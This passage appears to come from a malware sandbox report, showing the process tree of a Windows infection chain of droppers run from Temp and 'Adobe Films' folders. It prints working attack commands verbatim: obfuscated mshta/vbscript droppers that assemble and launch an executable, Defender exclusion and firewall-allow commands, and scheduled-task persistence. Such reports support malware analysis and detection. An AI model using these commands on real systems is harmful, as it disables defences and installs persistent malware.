        "C:\Windows\System32\cmd.exe" /Q /C copy /y "C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04113f869350dcf8.exe" ..\z1HFJkPKWMLYRf.EXE&& StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k &IF "" == "" for %s iN ( "C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04113f869350dcf8.exe" ) do taskkill /Im "%~Nxs" -f
        8⤵
        
        PID:2684
        
        C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE
        
        ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k
        9⤵
        Executes dropped EXE
        
        PID:5872
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCript: clOse ( CrEATeObJeCt ( "WscrIpT.sHELl" ). rUn ( "cmd /Q /C copy /y ""C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE"" ..\z1HFJkPKWMLYRf.EXE && StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF ""-pVmK5OY1Q2FwiV3_NJROp~tX8k "" == """" for %s iN ( ""C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE"" ) do taskkill /Im ""%~Nxs"" -f " , 0,TRUE) )
        10⤵
        
        PID:6120
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /C copy /y "C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE" ..\z1HFJkPKWMLYRf.EXE&& StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k &IF "-pVmK5OY1Q2FwiV3_NJROp~tX8k " == "" for %s iN ( "C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE" ) do taskkill /Im "%~Nxs" -f
        11⤵
        
        PID:5332
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBsCrIpt: closE ( crEateOBjECT ("WsCRipT.sHELl" ).ruN( "cmD.Exe /r EchO | SEt /P = ""MZ"" > OoZ39QP7.Q~P &cOPy /Y /b OOZ39QP7.q~P + 3_PI.f2x +6TWz8s9B.~T +TiRWH.Ql +FFUU.A1+ YZA~WMAU.H+ FDHTx.pBB + V16YA.kU ..\WGKZNZ9t.jOX & StArT msiexec.exe -y ..\WgKZNZ9T.JOX & deL /Q * " ,0 , TRUE ) )
        10⤵
        
        PID:6848
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r EchO | SEt /P = "MZ" > OoZ39QP7.Q~P &cOPy /Y /b OOZ39QP7.q~P + 3_PI.f2x +6TWz8s9B.~T +TiRWH.Ql +FFUU.A1+ YZA~WMAU.H+ FDHTx.pBB+ V16YA.kU ..\WGKZNZ9t.jOX & StArT msiexec.exe -y ..\WgKZNZ9T.JOX & deL /Q *
        11⤵
        
        PID:6948
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>OoZ39QP7.Q~P"
        12⤵
        
        PID:5476
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EchO "
        12⤵
        
        PID:5996
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe -y ..\WgKZNZ9T.JOX
        12⤵
        
        PID:6228
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /Im "Fri04113f869350dcf8.exe" -f
        9⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5968
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri04e6f3b78ae5759.exe
        5⤵
        
        PID:2036
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04e6f3b78ae5759.exe
        
        Fri04e6f3b78ae5759.exe
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1596
        
        C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04e6f3b78ae5759.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04e6f3b78ae5759.exe
        7⤵
        Executes dropped EXE
        
        PID:3404
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri047a1b6fc980f8.exe
        5⤵
        
        PID:3100
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri047a1b6fc980f8.exe
        
        Fri047a1b6fc980f8.exe
        6⤵
        Executes dropped EXE
        
        PID:1068
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1068 -s 300
        7⤵
        Program crash
        
        PID:4824
        
        C:\Windows\SysWOW64\rundll32.exe
        
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
        8⤵
        
        PID:6204
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 456
        9⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:6108
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri042d82e64f594.exe
        5⤵
        
        PID:5020
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri042d82e64f594.exe
        
        Fri042d82e64f594.exe
        6⤵
        Executes dropped EXE
        
        PID:1312
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri04b1200e850ea1bc.exe
        5⤵
        
        PID:2644
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04b1200e850ea1bc.exe
        
        Fri04b1200e850ea1bc.exe
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3376
        
        C:\Users\Admin\Pictures\Adobe Films\nPwHKHkv3yBofGgATQz5wWGV.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\nPwHKHkv3yBofGgATQz5wWGV.exe"
        7⤵
        Executes dropped EXE
        
        PID:5696
        
        C:\Users\Admin\Pictures\Adobe Films\RSU2oBdGWBNspvBJg7uNHdNz.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\RSU2oBdGWBNspvBJg7uNHdNz.exe"
        7⤵
        Executes dropped EXE
        
        PID:720
        
        C:\Users\Admin\Pictures\Adobe Films\CGRE4xs80cLunG1BuR71Qsbd.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\CGRE4xs80cLunG1BuR71Qsbd.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2308
        
        C:\Users\Admin\Pictures\Adobe Films\w4x5S0Np7I3L5NdET2Poprxm.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\w4x5S0Np7I3L5NdET2Poprxm.exe"
        7⤵
        Executes dropped EXE
        
        PID:5092
        
        C:\Users\Admin\Pictures\Adobe Films\8yVbU4PtuzA_S40jKpQYtoAj.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\8yVbU4PtuzA_S40jKpQYtoAj.exe"
        7⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:5316
        
        C:\Program Files (x86)\Company\NewProduct\cutm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
        8⤵
        
        PID:3372
        
        C:\Users\Admin\Pictures\Adobe Films\kVDs2jOrjUeGdbnBEpFzJE12.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\kVDs2jOrjUeGdbnBEpFzJE12.exe"
        7⤵
        
        PID:3176
        
        C:\Users\Admin\Pictures\Adobe Films\kVDs2jOrjUeGdbnBEpFzJE12.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\kVDs2jOrjUeGdbnBEpFzJE12.exe"
        8⤵
        
        PID:6508
        
        C:\Users\Admin\Pictures\Adobe Films\FKpZuB1snNBCU9Wbg4B5doU0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\FKpZuB1snNBCU9Wbg4B5doU0.exe"
        7⤵
        
        PID:5372
        
        C:\Users\Admin\Pictures\Adobe Films\tuOtrNERWdeo9TWUNiHeauug.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\tuOtrNERWdeo9TWUNiHeauug.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5592
        
        C:\Users\Admin\Pictures\Adobe Films\n87Qi_PNFSROReMY4kfNc5b_.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\n87Qi_PNFSROReMY4kfNc5b_.exe"
        7⤵
        Executes dropped EXE
        
        PID:2200
        
        C:\Users\Admin\Pictures\Adobe Films\8OJBLplc_C14swOHJ78qsUai.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\8OJBLplc_C14swOHJ78qsUai.exe"
        7⤵
        Executes dropped EXE
        
        PID:2800
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        8⤵
        Executes dropped EXE
        Creates scheduled task(s)
        
        PID:2036
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:2168
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        Executes dropped EXE
        
        PID:5684
        
        C:\Users\Admin\Documents\LkJVg3EiuIxzZKkWBHb4Gddi.exe
        
        "C:\Users\Admin\Documents\LkJVg3EiuIxzZKkWBHb4Gddi.exe"
        8⤵
        
        PID:5364
        
        C:\Users\Admin\Pictures\Adobe Films\qn1bagEYtz4Ly7yAZ1xl0hT5.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\qn1bagEYtz4Ly7yAZ1xl0hT5.exe"
        9⤵
        
        PID:7092
        
        C:\Users\Admin\Pictures\Adobe Films\HF3q9lQOdcndvjDO563bgcsk.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\HF3q9lQOdcndvjDO563bgcsk.exe"
        9⤵
        
        PID:5732
        
        C:\Users\Admin\Pictures\Adobe Films\HF3q9lQOdcndvjDO563bgcsk.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\HF3q9lQOdcndvjDO563bgcsk.exe" -u
        10⤵
        
        PID:5716
        
        C:\Users\Admin\Pictures\Adobe Films\cuJXRVAlsWYYJ2hiYibs7FDE.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\cuJXRVAlsWYYJ2hiYibs7FDE.exe"
        9⤵
        
        PID:3044
        
        C:\Users\Admin\Pictures\Adobe Films\c7hNnevhEOC1xlynhXvS79YS.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\c7hNnevhEOC1xlynhXvS79YS.exe"
        9⤵
        
        PID:1916
        
        C:\Users\Admin\Pictures\Adobe Films\jckNi3xR4oaKW1uBzFTkrKku.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\jckNi3xR4oaKW1uBzFTkrKku.exe"
        9⤵
        
        PID:5892
        
        C:\Users\Admin\Pictures\Adobe Films\WvQQ7miBoHQW4Ll6FR0APk6u.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\WvQQ7miBoHQW4Ll6FR0APk6u.exe"
        9⤵
        
        PID:6952
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\WvQQ7miBoHQW4Ll6FR0APk6u.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\WvQQ7miBoHQW4Ll6FR0APk6u.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        10⤵
        
        PID:7652
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\WvQQ7miBoHQW4Ll6FR0APk6u.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\WvQQ7miBoHQW4Ll6FR0APk6u.exe" ) do taskkill -f -iM "%~NxM"
        11⤵
        
        PID:7584
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "WvQQ7miBoHQW4Ll6FR0APk6u.exe"
        12⤵
        Kills process with taskkill
        
        PID:2092
        
        C:\Users\Admin\Pictures\Adobe Films\2Vkjg1GsiMDRg7ASp47lDStA.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\2Vkjg1GsiMDRg7ASp47lDStA.exe"
        9⤵
        Executes dropped EXE
        
        PID:5372
        
        C:\Users\Admin\Pictures\Adobe Films\YnrhXFKZu_ChRWFpnJzSGYkL.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\YnrhXFKZu_ChRWFpnJzSGYkL.exe"
        9⤵
        
        PID:6224
        
        C:\Users\Admin\AppData\Local\Temp\is-LMRP7.tmp\YnrhXFKZu_ChRWFpnJzSGYkL.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-LMRP7.tmp\YnrhXFKZu_ChRWFpnJzSGYkL.tmp" /SL5="$20412,506127,422400,C:\Users\Admin\Pictures\Adobe Films\YnrhXFKZu_ChRWFpnJzSGYkL.exe"
        10⤵
        
        PID:7844
        
        C:\Users\Admin\AppData\Local\Temp\is-SLD3F.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-SLD3F.tmp\DYbALA.exe" /S /UID=2709
        11⤵
        
        PID:6680
        
        C:\Users\Admin\AppData\Local\Temp\73-b9081-8aa-7f5bb-1ac81dea2e567\ZHixyponishu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\73-b9081-8aa-7f5bb-1ac81dea2e567\ZHixyponishu.exe"
        12⤵
        
        PID:3812
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        13⤵
        
        PID:5424
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0x100,0x110,0x7ff8625946f8,0x7ff862594708,0x7ff862594718
        14⤵
        
        PID:6796
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2244,1943063327362414371,10981216562000430242,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2236 /prefetch:2
        14⤵
        
        PID:7956
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2244,1943063327362414371,10981216562000430242,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 /prefetch:3
        14⤵
        
        PID:7156
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2244,1943063327362414371,10981216562000430242,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2552 /prefetch:8
        14⤵
        
        PID:7240
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,1943063327362414371,10981216562000430242,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
        14⤵
        
        PID:5052
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,1943063327362414371,10981216562000430242,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
        14⤵
        
        PID:1552
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,1943063327362414371,10981216562000430242,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4092 /prefetch:1
        14⤵
        
        PID:6528
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2244,1943063327362414371,10981216562000430242,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3572 /prefetch:8
        14⤵
        
        PID:3784
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2244,1943063327362414371,10981216562000430242,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3572 /prefetch:8
        14⤵
        
        PID:5752
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,1943063327362414371,10981216562000430242,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4648 /prefetch:1
        14⤵
        
        PID:8860
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2244,1943063327362414371,10981216562000430242,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4616 /prefetch:2
        14⤵
        
        PID:4624
        
        C:\Users\Admin\AppData\Local\Temp\60-3d61a-f4c-1288e-3f18164bc6b74\Mulaelynuxu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\60-3d61a-f4c-1288e-3f18164bc6b74\Mulaelynuxu.exe"
        12⤵
        
        PID:6784
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bvufejje.zhv\GcleanerEU.exe /eufive & exit
        13⤵
        
        PID:2956
        
        C:\Users\Admin\AppData\Local\Temp\bvufejje.zhv\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\bvufejje.zhv\GcleanerEU.exe /eufive
        14⤵
        
        PID:5808
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5808 -s 236
        15⤵
        Program crash
        
        PID:8548
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xqat5bfg.0hl\installer.exe /qn CAMPAIGN="654" & exit
        13⤵
        
        PID:7564
        
        C:\Users\Admin\AppData\Local\Temp\xqat5bfg.0hl\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\xqat5bfg.0hl\installer.exe /qn CAMPAIGN="654"
        14⤵
        
        PID:6932
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wdhlya4d.nju\any.exe & exit
        13⤵
        
        PID:5648
        
        C:\Users\Admin\AppData\Local\Temp\wdhlya4d.nju\any.exe
        
        C:\Users\Admin\AppData\Local\Temp\wdhlya4d.nju\any.exe
        14⤵
        
        PID:7160
        
        C:\Users\Admin\AppData\Local\Temp\wdhlya4d.nju\any.exe
        
        "C:\Users\Admin\AppData\Local\Temp\wdhlya4d.nju\any.exe" -u
        15⤵
        
        PID:4476
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1mifeu2h.3gg\gcleaner.exe /mixfive & exit
        13⤵
        
        PID:1616
        
        C:\Users\Admin\AppData\Local\Temp\1mifeu2h.3gg\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\1mifeu2h.3gg\gcleaner.exe /mixfive
        14⤵
        
        PID:9060
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9060 -s 232
        15⤵
        Program crash
        
        PID:7220
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xvdwv0w2.shx\autosubplayer.exe /S & exit
        13⤵
        
        PID:8320
        
        C:\Program Files\Microsoft Office 15\FJDJOKUPPM\foldershare.exe
        
        "C:\Program Files\Microsoft Office 15\FJDJOKUPPM\foldershare.exe" /VERYSILENT
        12⤵
        
        PID:2508
        
        C:\Users\Admin\Pictures\Adobe Films\7dPoYycuvdMlD8HTTV_lU5JY.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\7dPoYycuvdMlD8HTTV_lU5JY.exe"
        9⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        
        PID:6752
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        10⤵
        
        PID:4936
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
        11⤵
        
        PID:7256
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x204,0x208,0x20c,0x1e0,0x210,0x7ff860a7dec0,0x7ff860a7ded0,0x7ff860a7dee0
        12⤵
        
        PID:6668
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1760,1916649885267313792,2305816933867694347,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7256_210472559" --mojo-platform-channel-handle=1772 /prefetch:8
        12⤵
        
        PID:8940
        
        C:\Users\Admin\Pictures\Adobe Films\XMMXOxio7JwAPGAQZ1X9lEeU.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\XMMXOxio7JwAPGAQZ1X9lEeU.exe"
        7⤵
        Executes dropped EXE
        
        PID:3216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        8⤵
        
        PID:6908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
        8⤵
        
        PID:4452
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:3436
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:2168
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
        8⤵
        Creates scheduled task(s)
        
        PID:6052
        
        C:\Windows\System\svchost.exe
        
        "C:\Windows\System\svchost.exe" formal
        8⤵
        
        PID:1896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        9⤵
        
        PID:2224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
        9⤵
        
        PID:6556
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        9⤵
        
        PID:5148
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        9⤵
        
        PID:6876
        
        C:\Users\Admin\Pictures\Adobe Films\vumjanCUDqXNzMij4HO1jmf2.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\vumjanCUDqXNzMij4HO1jmf2.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        
        PID:5832
        
        C:\Users\Admin\Pictures\Adobe Films\xhM9NSULQC0Zm66oIm94kSGe.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\xhM9NSULQC0Zm66oIm94kSGe.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2808
        
        C:\Users\Admin\Pictures\Adobe Films\9Pwru6h1QFUn2bnBU2yteVil.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\9Pwru6h1QFUn2bnBU2yteVil.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        
        PID:3060
        
        C:\Users\Admin\Pictures\Adobe Films\Tre_1g12ZSSyu6sJ7ud3TVBF.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Tre_1g12ZSSyu6sJ7ud3TVBF.exe"
        7⤵
        Executes dropped EXE
        
        PID:4388
        
        C:\Users\Admin\Pictures\Adobe Films\I3wcAybOhLr2gicZC376nIs7.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\I3wcAybOhLr2gicZC376nIs7.exe"
        7⤵
        Executes dropped EXE
        
        PID:3984
        
        C:\Users\Admin\Pictures\Adobe Films\sV789KtEe4siyfKC6Pl8h46N.exe
        
